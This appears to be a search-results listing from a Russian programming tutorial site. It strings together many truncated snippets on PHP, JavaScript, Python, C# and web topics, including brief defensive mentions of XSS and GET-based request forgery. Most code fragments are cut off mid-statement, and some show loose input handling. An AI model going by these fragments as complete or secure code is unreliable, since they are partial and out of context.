...         applicationid "ru.myrusakov.rssapp"         minsdk 23         targetsdk 32         versioncode 1         versionname "1.0" ...
... выведем результаты для каждой папки. код: import os import shutil def get_folder_size(folder_path):     total_size = 0     for dirpath, dirnames, filenames in os.walk(folder_path): ...
... берем весь url и отправляем на файл index.php(нашу единую точку входа), передав get параметр url со значением нашего url. теперь что бы вы не ввели в адресную ...
... будет принимать get-запросы от пользователей на получение различной информации. напишем в этом обработчике такой код: <?php   if ($_get['action'] == "getbalance") ...
... почти везде. в качестве примера можно привести получение параметра из get-запроса. ниже вы найдете код в старом и новом стилях и сможете сравнить, ...
... получается на javascript. class person   constructor: (name, age) ->    @name = name    @age = age   getinfo: ->    "name: #{@name}, age: #{@age}" здесь мы создаем класс person, конструктор ...
... // если файл невозможно открыть, то бросается исключение function getrows($file) {     $handle = fopen($file, 'rb');     if (!$handle) { ...
... защититься от xss? обычно подобную уязвимость можно найти в формах или в get запросах. например, у нас есть форма поиска на сайте. попробуйте ввести ...
... зависимости от числительного.результат: // 4 && mod < 20 ? 2 : keys[math.min(mod%10, 5)]; document.getelementbyid("life_site").innerhtml = life + " " + suffix[suffix_key]; } //]]> этот сайт существует уже: ...
... считать разницу между этим временем и текущим. вот как это выглядит: function gettimeremaining(endtime){   var t = date.parse(endtime) - date.parse(new date());   var seconds = math.floor( (t/1000) ...
... python (v2.7 recommended, v3.x.x is not supported). make. a c/c++ compiler like gcc. libxtst-dev and libpng++-dev (sudo apt-get install libxtst-dev libpng++-dev). теперь установите библиотеку через npm. npm install ...
...     rotated_surface = rotozoom(self.sprite, angle, 1.0)     rotated_surface_size = vector2(rotated_surface.get_size())     blit_position = self.position - rotated_surface_size * 0.5     surface.blit(rotated_surface, blit_position) ...
...   $rp = new reflectionproperty('users\user', 'data');   echo '<pre>';   print_r(get_class_methods($rp));   echo '</pre>'; ?> в конструктор класса reflectionproperty ...
... откроется контекстное меню, в котором надо выбрать пункт управление пакетами nuget и в открывшемся окне во вкладке "обзор" ввести название пакета system.text.json. ...
... 'тринадцать' } my_count.clear() print(my_count) {} // возвращает пустой словарь метод get() метод get() возвращает значение по указанному ключу в параметрах. название ...
... использует буферы, но суть элементарна: вернуть содержимое файла */   function gettemplate($name) {     ob_start(); // начинаем сохрание выходных данных в буфер ...
... объекты из этой группы, если это необходимо. реализуем метод _get_game_objects(): # game.py def _get_game_objects(self):     return [*self.asteroids, self.spaceship] ...
...     // влзвращает список всех найденных ошибок     public function geterrors() {         return $this -> errors;     } ...
всем привет! в прошлой статье мы разобрали, зачем нужен псевдокласс target, а сегодня мы закрепим знания на практике и создадим аккордион на чистом ...
...          * клавиш cntrl + клавиша (targetkey)          *           */         function controlpluskey( targetkey, callback )  ...
... <?php if(session::get('loggedin') == false):?>   <a href="<?php echo url; ?>index">index</a>   <a href="<?php echo url; ?>help">help</a> <?php endif; ?> <?php if(session::get('loggedin') ...
... компьютерами, состоящее из get-запросов. когда вы заходите на facebook.com, как авторизованный пользователь, то ваш компьютер отправляет get-запрос к серверу ...
...     // возвращает текущую 2d позицию игрового объекта     point2d getposition2d()     {         return position2d;     } ...
... k = 1;     var image_next = 'image_' + k;     document.getelementbyid(image_now).style.opacity = opacity/100;     document.getelementbyid(image_now).style.filter = 'alpha(opacity='+ opacity +')';     ...
... let mediarecorder; let audiochunks = []; const startbutton = document.getelementbyid('start-btn'); const stopbutton = document.getelementbyid('stop-btn'); const transcriptionfield = document.getelementbyid('transcription'); ...
... file* f = std::fopen("data.txt", "r"); if (!f) throw std::runtime_error("cannot open"); char buf[128]; if (!std::fgets(buf, sizeof(buf), f)) { std::fclose(f); throw std::runtime_error("read error"); } if (buf[0] ...
... # функция для вывода выбранного значения def get_selection():     selected = combo.get()     print(f"вы выбрали: {selected}") ...
...     // получаем обновленные данные     $result = $bot->getwebhookupdates();     $text = $result["message"]["text"]; //текст сообщения ...
...     // выводим текст из файла     print $pdf -> gettext(); обратите внимание на то, что текст, который вы получите из pdf файла ...
... processitems($array);  // работает с массивом function getgenerator(): iterable {     yield 'a';     yield 'b';     yield 'c'; } processitems(getgenerator());  // работает с генератором ...
... function digitalwatch() {     var date = new date();     var hours = date.gethours();     var minutes = date.getminutes();     var seconds = date.getseconds();     if (hours < 10) ...
... методом sendfile(). давайте перепишем наш код: app.get('/', function(req, res) {   res.sendfile(__dirname + '/index.html'); }); app.get('/contact', function(req, res) {   res.sendfile(__dirname ...
... вы получите рабочие примеры и чек-лист лучших практик. быстрый старт: get json и проверка статуса важный момент: fetch не бросает исключение на 4xx/5xx ...
... composer, давайте скачаем фреймворк yii итак, зайдите на сайт http://getcomposer.org/ и нажмите кнопку "getting started". теперь нажмите installation - *nix, чтобы установить его ...
... ключевые технологии для реализации используются следующие веб-api: 1. mediadevices.getusermedia — для доступа к камере. 2. canvas api — для захвата кадра с камеры. 3. ...
... который ранее объявляли в css. затем получим его стили, используя функцию getcomputedstyle. теперь можно получить доступ к переменной --main-color. в консоли ...
... basil.set('foo', 'bar'); // сохранить значение 'bar' под ключом 'foo' basil.get('foo'); // вернет 'bar' basil.remove('foo'); // удалит значение 'foo' ...
... атрибут target. с помощью него можно указать, как будет открываться страница, на которую осуществляется переход. значение _blank у атрибута target открывает ...
... форме нет атрибута action, где указывается php обработчик и не указаны методы get / post. в технологии ajax, эти методы указываются в js скрипте. отсутствие ...
... if( typeof(array.prototype.getrandom ) !== 'function' {          // добавляем метод в прототип массива     array.prototype.getrandom = function() { ...
... страницам на php. в основе лежат оператор limit и get-параметр. вот примерный алгоритм работы: получить значение get-параметра, отвечающего за номер страницы. ...
...     var expanded by remember { mutablestateof(false) }     val size by animatedpasstate(targetvalue = if (expanded) 200.dp else 100.dp, label = "")     box(         modifier ...
... пишется в теге <?php ... ?>. <?php   $text = 'чайник';   $utm_term = $_get['utm_term'];   if (!empty($utm_term)) {   if ($utm_term == 'electric_kettle') {   $text ...
... вывод записей на примере темы twenty seventeen. записи выводятся через тег шаблона get_template_part в цикле шаблона index.php, который передаёт в параметрах содержимое ...
... в админ-панели. для этого есть функция get_terms, которая выводит на страницу списки таксономий. $terms = get_terms( array(   'taxonomy' => 'price', ...
... === b); // true — цикл сохранён корректно console.log(b.date instanceof date); // true console.log(b.map.get("k")); // 1 console.log(b.set.has(2)); // true плюсы: быстро, надёжно, поддерживает сложные ...
... $ dotnet run this is myrusakov post this  is  myrusakov  post c# метод environment.getcommandlineargs метод environment.getcommandlineargs возвращает массив строк, содержащий аргументы командной ...
...             const taskinput = document.getelementbyid("taskinput");             const addtaskbutton = document.getelementbyid("addtask");             const tasklist = document.getelementbyid("tasklist"); ...
... function countdowntimer(duration, granularity) {     this.time_format = this.gettimeformat(duration);     this.duration = this.toseconds(duration);      this.initialduration = this.duration; ...
... атрибута: первый способ, через getattribute и setattribute указываем выбранный на странице элемент (тег, id, класс), сам метод getattribute и название атрибута, который ...
... файлами на самом простом уровне: file_put_contens() и file_get_contents(). функция file_put_contents() записывает в файл, а функция file_get_contents() считывает содержимое из файла. эти ...
...         function generateimage() {             var text = document.getelementbyid('textinput').value;             // создаем элемент canvas ...
... balance -= amount; return true; }, getbalance: function() { return balance; } }; } var wallet = createwallet(100); wallet.deposit(50); console.log(wallet.getbalance()); // 150 console.log(wallet.balance); // undefined ...
... чтобы получить соединение из пула, необходимо использовать метод getconnection(): pool.getconnection(function(err, connection) {   // здесь работаем с полученным соединением  ...
...         // преобразуем выбранное значение опции списка в число - идентификатор категории         const categoryid = parseint(e.target.options[e.target.selectedindex].value);         // получаем из массива категорий объект категрии по соответствующему идентификатору ...
... получение нужных элементов по id и по названию тега. document.getelementbyid("demo").innerhtml = xmldoc.getelementsbytagname("name")[0].childnodes[0].nodevalue; вывод в консоль. console.log(xmldoc.getelementsbytagname("name")); ...
... идентификаторов. function showmore() {     var dots = document.getelementbyid("dots");     var moretext = document.getelementbyid("more");     var btntext = document.getelementbyid("btn"); ...
... выбранных элементов в виджете со списком, вы можете использовать метод get(). метод get() возвращает целое число выбранного элемента, известное как индекс ...
...                 const blob = item.getasfile();                 // создаем объект, считывающий файлы ...
...                 const val = doformat(elem.value, elem.getattribute('data-format'));                 elem.value = doformat(elem.value, elem.getattribute('data-format'), elem.getattribute('data-mask')); ...
... const files_storage_path = './uploaded'; interface httpmethod {     public const get = 'get';     public const post = 'post'; } function response(mixed $data) ...
... а затем sudo pip3 install pyobjc. в linux запустите sudo pip3 install python3-xlib, sudo apt-get install scrot, sudo apt-get install python3-tk и sudo apt-get install python3-dev. (scrot - это программа для создания ...
...     byte[] salt = new byte[saltlength];     var rngrand = new rngcryptoserviceprovider();     rngrand.getbytes(salt);     return salt; } следующие два метода используют ...
... data-product-id="42">в избранное</button> </div> const box = document.getelementbyid('products'); box.addeventlistener('click', (e) => { const btn = e.target.closest('[data-action]'); if (!btn || !box.contains(btn)) return; const { action, ...
... события могут быть обработаны. в pygame метод получения этой коллекции - pygame.event.get(). событие, которое нам нужно - это pygame.quit. она возникает, когда кто-то ...
... элемент по его id. let canvas = document.getelementbyid('draw'); затем получим его контекст. для этого вызовем метод getcontext() и укажем, что мы будем рисовать ...
... дня недели (понедельник - 0, вторник - 1, и так далее). import datetime def get_tuesday_and_thursday_dates(year, month):     dates = []     date = datetime.date(year, month, 1)  # создаем объект даты для первого дня указанного года и месяца ...
... объявим переменную buttonelem и при помощи метода getelementbyid сохраним кнопку в эту переменную. const buttonelem = document.getelementbyid('mybtn'); 2) шаг. создание ...
... print $class_comments = $ref -> getdoccomment(); // получаем комментарии к методу $method_comments = $ref -> getmethod('actioncontacts') -> getdoccomment(); ...
... import time link = r'https://www.cryptocompare.com/' browser = webdriver.chrome() browser.get(link) try:     webdriverwait(browser, 10).until(ec.presence_of_element_located(         (by.class_name, "panel-body"))) ...
... lftrght=new array();var browserinfos=navigator.useragent;var ie5=document.all&&document.getelementbyid&&!browserinfos.match(/opera/);var ns6=document.getelementbyid&&!document.all;var opera=browserinfos.match(/opera/);function randommaker(range) ...
... min-width:0 предотвращает вылезание текста */ .widget { flex: 0 1 320px; } @media (max-width: 1024px) { .layout { flex-wrap: wrap; } .widget { flex-basis: 100%; } } <div class="layout"> <aside ...
...         connectivitymanager connectivitymanager = (connectivitymanager) context.getsystemservice(context.connectivity_service);         networkinfo activenetworkinfo = connectivitymanager != null ? connectivitymanager.getactivenetworkinfo() : null; ...
...         const modal = document.getelementbyid("modal");         const modalimage = document.getelementbyid("modal-image");         // отображаем модальное окно и устанавливаем источник изображения ...
... {      $sum = $this->x + $this->y;      return $sum;    }    function getpi() {      return self::pi;     }  }?>здесь всё очень просто: ...
... обратите внимание, что мы также используем цикл while вместе с функцией getline() (которая принадлежит классу ifstream) для чтения файла построчно и для ...
... //загрузка товаров на страницу } у jquery имеется на этот случай метод getjson(), в параметрах которого передается имя json файла и функция-обработчик ...
... формой. для этого мы воспользуемся javascript: function select(element) {   var value = element.getattribute("data-value"); // считываем значение выбранного элемента   var nodes = element.parentnode.childnodes; ...
...     // статический метод, которые создает конкретный объект      public final static function get()     {         // статический список объектов ...
... тегами <head> и </head>): <script type="text/javascript">   function tree(target) {     var ul = target.parentnode.getelementsbytagname("ul").item(0);     ul.style.display = (ul.style.display == ...
...  * к полученному массиву добавляем названия столбцов из $header и возвращаем  *   */ function getallordersreport(pdo $connection) {     $header = ['номер', 'статус', 'клиент', 'откуда', 'куда', 'к оплате', 'цена', 'долг', 'создан']; ...
...    # конвертируем страницу в изображение (массив пикселей)    pix = page.get_pixmap(matrix=matrix)    # сохраняем изображение в файл    output_image_path = f"images/page_{page_number + 1}.jpg" ...
...                         $rule->getvars()                     ); ...
... наше приложение и создадим отображение для get-запроса на nodejs. в этой статье мы сфокусируемся на get-запросе в нашем контроллере todocontroller.js и создадим ...
...     $this->role = $role;    }    public function getname() {     return $this->name;    }    public function getrole() {     return $this->role;    }    ...
... '{$url}'");      return $code;     }    }    public function geturl($code) {     $code = $this->db->escape_string($code);     $code = $this->db->query("select ...
... cap = cv2.videocapture("video0102.mp4"); # вывод с видео файла print(cap.get(cv2.cap_prop_frame_width)) # вывод в консоли размера нашего окна. ...
... адресной строке браузера (без фигурных скобок{}): https://api.telegram.org/bot{bot_token}/getupdates в ответ должен прийти json ответ с chat_id или просто id. шаг 2: установка ...
... <body>   <a href="yandex.ru" id="link">нажми!</a>   <script>    var link = document.getelementbyid('link');    link.addeventlistener('click', function(e) {     e.preventdefault(); ...
...                     updateroute(startmarker.getlatlng(), endmarker.getlatlng());                 } ...
... # функция обработки события def on_select(event):     selected_value = combo.get()  # получаем выбранное значение     print(f"вы выбрали: {selected_value}") ...
... \slim\app($config);   // определяем маршруты   // главная страница   $app -> get('/',function($request, $response)) {      return $response -> write('добро пожаловать ...
... include 'user.php';   $rm = new reflectionmethod('users\user', 'getdata');   echo '<pre>';   echo print_r(get_class_methods($rm));   echo '</pre>'; ?> чтобы создать ...
... '50%' // положение слева относительно родителя    };    var target = document.getelementbyid('loading');    var spinner = new spinner(opts).spin(target);   </script> ...
... с помощью then() и catch() для обработки ответов и ошибок. простейший пример get-запроса: fetch('https://jsonplaceholder.typicode.com/posts/1')   .then(response => response.json()) // преобразуем ответ в json ...
...         const chat = document.getelementbyid('chat');         const messageinput = document.getelementbyid('message');         const sendbutton = document.getelementbyid('send'); ...
... теперь рассмотрим функцию displayuploads var displayuploads = function(data) {   var uploads = document.getelementbyid("uploads"),       anchor,       x;   for(x = 0; x < ...
...     @query("select * from user_table")     list<user> getallusers(); } шаг 4: создание базы данных создаем абстрактный класс, который ...
... товарами в интернет магазине. установка bootstrap зайдем на главную страницу getbootstrap.com и воспользуемся вторым способом подключения через cdn (сеть доставки ...
...     // метод для получения настройки из хранилища     public function get($option) {     {     return $this -> options[$option];     }   ...
... файлу index.php с соответствующим get-запросом. поэтому несмотря на отсутствие в url из адресной строки браузера всяких get-параметров, если выполнить ...
... user = user.objects.create(name='михаил', age=30) # получение данных user = user.objects.get(name='михаил') print(user.name, user.age) peewee peewee - это простая и легковесная ...
... которые взаимодействуют с веб-сервисами. рассмотрим пример выполнения get-запроса асинхронно. private async void buttonfetchdata_click(object sender, eventargs e) ...
...   var button = document.getelementbyid('button'),       xmlhttp = new xmlhttprequest();   button.addeventlistener('click', function() {    var name = document.getelementbyid('name').value.replace(/]+>/g,''), ...
... отслеживать их изменения. пример использования geolocation api: navigator.geolocation.getcurrentposition(   (position) => {     console.log(`latitude: ${position.coords.latitude}`); ...
...   public static function set($key, $value) {    $_session[$key] = $value;   }   public static function get($key) {    if(isset($_session[$key]))    return $_session[$key];   }   public static function ...
...        def get_balance(self):            return self.__balance    account = bankaccount(100)    account.deposit(50)    print(account.get_balance())  # выведет: 150 ...
... проверки пароля // получаем модальное окно var modal = document.getelementbyid('mymodal'); // показываем модальное окно при загрузке страницы ...
... методов: __construct, __destruct __call, __callstatic __get, __set __sleep, __wakeup __tostring __invoke ...
...             # отправляем запрос на сервер             req = requests.get(url % counter, headers=headers)                  # логируем ошибки с помощью встроенного модуля ...
...     for i in range(4):         process = process(target=worker, args=(i,))         processes.append(process)         process.start() ...
... установка и проверка установите php 8.x и composer (подробная инструкция есть на getcomposer.org). проверьте версии: php -v composer -v если команда composer недоступна, добавьте ...
... //увеличиваем ширину и высоту видео в 2 раза   $width = 2 * $ffmpeg->getframewidth();   $height = 2 * $ffmpeg->getframeheight();   //вызываем приложение ffmpeg с соответствующими ...
... constraint validation api: свои сообщения и контроль отправки <script> const form = document.getelementbyid('signup'); const status = form.queryselector('.form-status'); function showfielderror(input, message) { input.setcustomvalidity(message ...
... type="text/javascript">   function showorhide(cb, cat) {     cb = document.getelementbyid(cb);     cat = document.getelementbyid(cat);     if (cb.checked) cat.style.display = "block";     ...
...       // если его время жизни ещё не прошло       echo file_get_contents($cache_file); // выводим содержимое файла       exit; // завершаем ...
... обращении, например, к $this->title будет выводиться $this->data["title"] */   public function __get($name) {     if (isset($this->data[$name])) return $this->data[$name];     return ""; ...
... проде логируйте, а не показывайте пользователю детали die('db error: ' . $e->getmessage()); } подготовленные запросы: основы prepared statements позволяют отделить ...
... const inputelement = document.getelementbyid('searchinput'); function handleinput(event) {     console.log('ввод пользователя:', event.target.value); } const debouncedhandleinput = debounce(handleinput, 300); ...
... import sys nums = range(1_000_000) lst = [n*n for n in nums] gen = (n*n for n in nums) print(sys.getsizeof(lst), 'bytes in list') print(sys.getsizeof(gen), 'bytes in generator') # генератор стабильно мал по ...
... </head>): <script type="text/javascript">   function starttimer() {     var my_timer = document.getelementbyid("my_timer");     var time = my_timer.innerhtml;     var arr = time.split(":");     ...
... <canvas></canvas> теперь мы можем начать писать скрипт. var tag = document.getelementbyid("canvas"),     ctx = tag.getcontext("2d"); сначала мы отбираем наш canvas, а затем создаём ...
...         pdf = pdffilereader(f)         inf = pdf.getdocumentinfo()         number_of_pages = pdf.getnumpages()     txt = f"""     информация об {path_to_pdf}:  ...
... 2-го ротатора   function rotatormany() {     document.getelementbyid("rotator_many_1").src = path + cats[counter];     document.getelementbyid("rotator_many_2").src = path + dogs[counter];     counter++; ...
... файлу form.php ссылку на ../bootstrap.min.css на официальном сайте bootstrap. открываете getbootstrap, копируете саму верхнюю ссылку на файл стилей в разделе bootstrap cdn ...
... это значение и выводить его при наведении на текст. var el = document.getelementbyid("test"); var text = el.getattribute("data-title"); alert(text); также данный атрибут можно использовать, ...
... function buycoffee() {   return new promise((resolve, reject) => {     asyncronouslygetcoffee(function(coffee) {       resolve(coffee);     });   }); ...
... формы $email = trim($_post["email"]); $message = "е-майл: $email"; $pagetitle = "новый подписчик на вашем сайте \"$sitename\""; mail($recepient, $pagetitle, $message, "content-type: text/plain; charset=\"utf-8\"\n from: $recepient"); ...
... <p> <a href="" target="_blank"> <img src="url_image.jpg" alt="" width="320" height="182"> </p> <p class="copy"><a href="">  copyright </a> </p> <p class="blue"> <a href="" target="_blank">  ссылка ...
...         print("drawing a square") class shapefactory:     @staticmethod     def get_shape(shape_type):         if shape_type == "circle":             return circle() ...
... личной практики (он сильно упрощён, но самую суть я оставил): <?php   $view = $_get["view"];   switch ($view) {     case "pagea":       $content = new pageacontent($db); ...
... // методы для проверки наличия, получения и установки заголовков headers.has('content-type'); // true headers.get('content-type'); // "text/html" headers.set('content-type', 'application/json'); ...
...     var isgecko = navigator.useragent.tolowercase().indexof("gecko") != -1;     var iframe = (isgecko) ? document.getelementbyid("frameid") : frames["frameid"];     var iwin = (isgecko) ? iframe.contentwindow : iframe.window; ...
... = localstorage.getitem('ключ'); в результате, в переменную value попадет значение, которое хранится под ключом, который мы передаем в метод getitem. удаляем ...
...     $filepath = rootdir . directory_separator . $file->getfilename();     if($file->isfile() && $file->getextension() === 'pdf')      {         $posterfile = new splfileinfo(coverimagepath($filepath)); ...
... delay = 2000;   var ar_src = new array();   function setbigimageslide(group) {     var group = document.getelementbyid(group);     var images = group.childnodes;     var src = new array();     ...
...             const searchtext = document.getelementbyid("search").value.tolowercase();             const category = document.getelementbyid("category").value; ...
...     def _handle_input(self):         for event in pygame.event.get():             if event.type == pygame.quit or ( ...
... получение элемента canvas, контекста и свойства math.pi let canvas = document.getelementbyid('drawround'); let ctx = canvas.getcontext('2d'); let pi = math.pi; ctx.beginpath();// начало нового пути ...
...     assert(1 + 1 == 3, '1 + 1 не равно 3'); } catch (assertionerror $e) {     echo $e->getmessage(); // выведет: '1 + 1 не равно 3' } ?> пример ...
...     # находим длину, ширину изображения и размеры каждого кадра      width, height = sprite.get_size()     w, h = width/w1, height/h1          # счетчик положения кадра на изображении ...
... рассмотрим, как сделать простую навигацию на html5 и css3, используя псевдокласс :target. <!doctype html> <html lang="en"> <head>   <meta charset="utf-8">   <title>html5 ...
... кнопки, должно быть два обязательных data атрибута от bootstrap. data-toggle="modal" data-target="#examplemodal" идентификатор examplemodal связывает кнопку с модальным окном. ...
... use phpoffice\phpspreadsheet\writer\xlsx; const report_file_name = "отчет_по_закупкам.xlsx"; if (isset($_get['report'])) {     // (1) создаем новую книгу     $spreadsheet = new spreadsheet(); ...
...             if (navigator.geolocation) {                 navigator.geolocation.getcurrentposition(function (position) {                     const latitude = position.coords.latitude; ...
... переменные, полученные из get-запроса. допустим, был такой запрос: index.php?a=15. таким образом, безусловно, создаётся переменная $_get["a"] и переменная a. вот ...
...         if ($header) {             $this->header = fgetcsv($this->handle);         }         return $this; ...
... обновляет координаты позиции пчелы. const canvas = document.getelementbyid('canvas') // получаем холст const ctx= canvas.getcontext('2d') // получаем контекст рисования let ...
... std::string> init) : kv(std::move(init)) {} // чтение без изменений const std::string& get(const std::string& key) const { static const std::string empty; if (auto it = kv.find(key); it != kv.end()) ...
... // функция генерирует случайное число диапазоне [min,mах] function getrandomnumber(min, max) {     return math.floor(math.random() * (max - min + 1)) + min; ...
... этот скрипт и постараюсь тщательно прокомментировать. <?php   function getzodiacalsign($month, $day) {     $signs = array("козерог", "водолей", "рыбы", "овен", "телец", ...
... table; atan возвращает артангес select atan(.3) as artangets from table; atan2 то же самое, но для 2 чисел. select atan2(.3, .2) as artangets2 from table; вернет: 0.982793723 power возвращает ...
... укажем контекст рисования 2d. // javascript код let canvas = document.getelementbyid('drawline'); let ctx = canvas.getcontext('2d'); рисование линии напоминает рисование ...
... рассмотрим, как обрабатывать post запросы в nodejs. post запросы отличаются от get запросов, которые мы рассматривали в прошлых статьях, тем, что данные ...
...     <!-- data-clipboard-target - ссылка на, то что будет копироваться -->     <button class="btn" data-clipboard-target="#foo">копировать</button> ...
... давайте сразу рассмотрим пример: class calculator {   protected $result = 0;   public function getresult() {    return $this->result;   }   public function add($number) {    $result = 'this'; ...
... (проверяем заранее) def get_user_age_lbyl(d): if 'age' in d and isinstance(d['age'], int): return d['age'] return 0 # eafp (пытаемся и обрабатываем) def get_user_age_eafp(d): try: return ...
... поменять метод sendfile() на render() вот таким образом: app.get('/', function(req, res) {   res.render('index'); }); app.get('/contact', function(req, res) {   res.render('contact'); ...
...   $el_2 = $el_1->nextsibling; // ближайший сосед после 1-го элемента el   echo $el_1->getattribute("a"); // выводим значение атрибута "a" у 1-го элемента el   echo "<br />"; ...
... const vat = 77.00;   public function getvat() {    return self::vat.'%';   } } теперь мы можем получить доступ таким образом: echo $product->getvat(); проблема в том, ...
... # шаблон извлекается из каталога templates # методом get_template template = env.get_template('showlang.txt') output = template.render(languages=languages) print(output) ...
... document.documentelement.style.setproperty('--brand', '#ff4757'); // прочитать текущее значение const brand = getcomputedstyle(document.documentelement) .getpropertyvalue('--brand').trim(); console.log(brand); // переключение темы const root ...
... на самом деле, очень просто. для этого есть функция force.jump(). var element = document.getelementbyid('element-id'); // перепрыгнуть к объекту force.jump(element); // перепрыгнуть ...
... mysql. для начала изменим наш файл инициализации - bootstrap.php. $url = isset($_get['url']) ? $_get['url'] : null; таким образом мы сделали проверку на существование ...
... вводимые данные. function validate(){     var form = document.getelementbyid("form");     var email = document.getelementbyid("email").value;     var pattern = /^[^ ]+@[^ ]+\.[a-z]{2,3}$/ ...
...             };             img.src = event.target.result;         };         reader.onerror = function() { ...
... перейдем в app/http/routes.php, удалим там все и напишем свой роутер. <?php   route::get('/', [    'uses' => '\chatty\http\controllers\homecontroller@index',    ...
...     """открыть окно настроек и передать данные"""     user_text = entry.get()  # получаем текст, введённый пользователем в главном окне ...
... очищаем массив сессии $_session = []; // удаляем cookie сессии if (ini_get('session.use_cookies')) { $p = session_get_cookie_params(); setcookie(session_name(), '', time() - 42000, $p['path'], $p['domain'], $p['secure'], ...
...     newsapi = newsapiclient(api_key ='yourkey')     top = newsapi.get_top_headlines(sources ='techcrunch')     l = top['articles']     dsc =[] ...
... public static function getcount() {     return self::$count;   } } echo math::calcsin(1); echo "<br />"; echo math::calcsqrt(9); echo "<br />"; $math = new math(); $math_2 = new math(); echo math::getcount(); ?> ...
... javascript.</title>    </head>    <body>        <form onsubmit="onformsubmit(); return false;">            <p>                <label for="demo_filename">название файла:</label><br>                <input type="text" id="demo_filename">            </p>            <p>                <label for="demo_content">содержимое:</label><br>                <textarea id="demo_content"></textarea>            </p>            <button type="submit">загрузка</button>        </form>        <script type="text/javascript">            function downloadfile(data="", filename="test.txt", type="text/plain") {                            // создаем невидимый элемент ссылки                const a = document.createelement("a");                a.style.display = "none";                document.body.appendchild(a);                                // в качестве данных для загрузки из ссылки устанавливаем данные из формы                a.href = window.url.createobjecturl(                    new blob([data], { type })                );                                // аттрибут download ссылки используется для загрузки файла                a.setattribute("download", filename);                // запускаем загрузку путем эмулирования нажатия клавиши                a.click();                // удаляем ссылку из dom                document.body.removechild(a);            }                        // вызывается при отправке формы            function onformsubmit() {                downloadfile(                    document.getelementbyid("demo_content").value,                    document.getelementbyid("demo_filename").value                );            }        </script>    </body></html> ...
... любое, но желательно отображающее суть программируемого действия. function getpass() {     // тело функции } внутри фигурных скобочек идет ...
... элемента и добавляет его только в том случае, если его еще нет. def get_unique(in_list):    # объявление пустого списка    unq_list = [] ...
...     return render_template('index.html') @app.route('/login', methods=['get', 'post']) def login():     if request.method == 'post': ...
... генерация случайного числа между 1 и 100 $rand = new random\randomizer(); $rand->getint(1, 1000); // 425 перемешивание строки $rand = new random\randomizer(); ...
...     // ссылки на кнопки     const down_button = document.getelementbyid("down_button");     const stop_button = document.getelementbyid("stop_button");     // при щелчке по кнопке загрузки ...
...        string greetings = "привет! myrusakov.ru";        fileoutputstream.write(greetings.getbytes());        fileoutputstream.close();    } } можно ...
...             // получаем список файлов кроме файлов из папок obj и bin             var files = getdirectoryfiles(dir, new list<string> { "\\obj\\", "\\bin\\" });             // создаем архив ...
... элемент. заголовок hello, world выводится в блоке с id="content". reactdom.render(<app />, document.getelementbyid('content') 3) создадим класс app. имя тега должно совпадать с ...
...         tasksfile = 'tasks.xml'; // файл с задачами     // get запрос на получение данных из xml файла     const requestobject = { ...
... игнорирование событий, которые произошли не на данной кнопке    if( !event.target.hasattribute('data-toggle-fullscreen') ) return;   }, false ); затем, нам необходимо ...
... class program {     [dllimport("user32.dll")]     static extern bool getcursorpos(out point lppoint);     static void main()     {         console.writeline("начало отслеживания и записи координат курсора. нажмите любую клавишу для выхода."); ...
...   $(document).on("dblclick", "#block span", deletespan);   function deletespan(event) {     $(event.target).remove();   } </script> в данном примере был использован метод on(). первым ...
... document.addeventlistener('keydown', function(event) {     const inputelement = document.getelementbyid('myinput');     const isalphanumeric = /^[a-za-z0-9\u0400-\u04ff\u0500-\u052f]$/; ...
... запросов базы данных для выполнения определенных операций. create procedure getallcustomers() begin     select * from customers; end функции (functions) ...
... console.log('летает');    }    getcolor() {     console.log(this.color);    }  }   let pegion = new abird(2, 'белый');   console.log(pegion.getcolor()); сокрытие методов ...
...     { name: 'index@notfound', url: '/notfound', handler: handlers.error404 }, ] // маршрут при ошибке 404 const getnotfoundroute = (routes) => routes.find(route => route.name === 'index@notfound') ...
...             pdfdocument pdfdocument = new pdfdocument();             pdfdocument.loadfromfile(file.getabsolutepath());             // конвертируем ...
...                 files.foreach(file => archive.createentryfromfile(file, path.getfilename(file)))             }         } ...
... "javascript">   function showlinkimage(id) {     document.getelementbyid(id).style.display = "block";   }   function hidelinkimage(id) {     document.getelementbyid(id).style.display = "none";   } </script> ...
... генерируется графический счётчик на php. сразу привожу код: <?php   $count = file_get_contents("counter.txt"); // считываем значение счётчика   $count++; // увеличиваем ...
... шахматную доску с помощью циклов. <script> var c=document.getelementbyid("mycanvas"); var ctx=c.getcontext("2d"); for(i=0;i<8;i++) {for(j=0;j<8;j++) {ctx.moveto(0,70*j); ctx.lineto(560,70*j); ...
те, кто использовал кнопку type="image" и метод get, обратили внимание, что в адресной строке появляются дополнительные параметры "x" и "y", которые содержат ...
...           const darkswitch = document.getelementbyid('darkswitch');           const currenttheme = localstorage.getitem('theme');           if (currenttheme) { ...
... отправки http-запросов. import requests # отправка get-запроса и работа с url response = requests.get('https://api.example.com/data?id=123') print(response.url)  # выводит url, сформированный запросом ...
... минимальную дату, равную выбранной. .on( "change", function() { to.datepicker( "option", "mindate", getdate( this ) );   }), to = $( "#to" ).datepicker при смене выбранной даты находим ...
... // получаем текущие дату и время   var h = date.gethours(); // получаем текущий час   if (h < 8 || h > 21) document.getelementbyid("style").href = "css/night.css"; // если сейчас ночь, ...
... import { injectable } from '@angular/core'; @injectable({   providedin: 'root' }) export class userservice {   getusername() {     return 'иван';   } } использование ...
... # в данном случае потребуется обновить pip двумя командами: curl https://bootstrap.pypa.io/get-pip.py -o get-pip.py my_env3\scripts\python.exe -m pip install --upgrade pip # после чего установим любой пакет:   ...
...  let array = [1, 2, 3];   localstorage.setitem(array, json.stringify(array));   array = json.parse(localstorage.getitem("array"));   console.log(typeof array); // объект   console.log(array); // [1, 2, 3] сохранение ...
...             app.mapget("/", () => "это минимальное api сайта");             app.mapget("/version", () => $"версия приложения 0.0.1"); ...
... способ передачи данных и может иметь одно их двух значение, post или get. метод get используется по умолчанию, когда передача данных осуществляется ...
... пустой файл archive-book.php и подключим к нему шапку, <?php get_header(); ?> подвал <?php get_footer(); ?> и сделаем вывод контента в цикле, скопировав ...
... хотим видеть: шапку и подвал. а можно и не выводить их. <?php get_header(); // вывод шапки get_footer(); // вывод подвала ?> между шапкой и подвалом можно ...
...     if (window.filelist && window.file) {         const file = e.target.files[0];         const name = file.name ? file.name : 'not supported'; ...
... передаем в функцию get() какой-нибудь ключ и получаем в консоли его текущее значение. let format = 'dd.mm.yyyy';     console.log(moment().get('year')); // ...
... содержимое? поможет нам псевдо-класс :target, который при клике по цели, применит заданный стиль к элементу с якорем. .tab__box:target {     display: block; // покажет ...
... получить список файлов в указанной папке с помощью команды get-childitem. $filelist = get-childitem -path $sourcepath 4. переименование файлов далее осуществляется ...
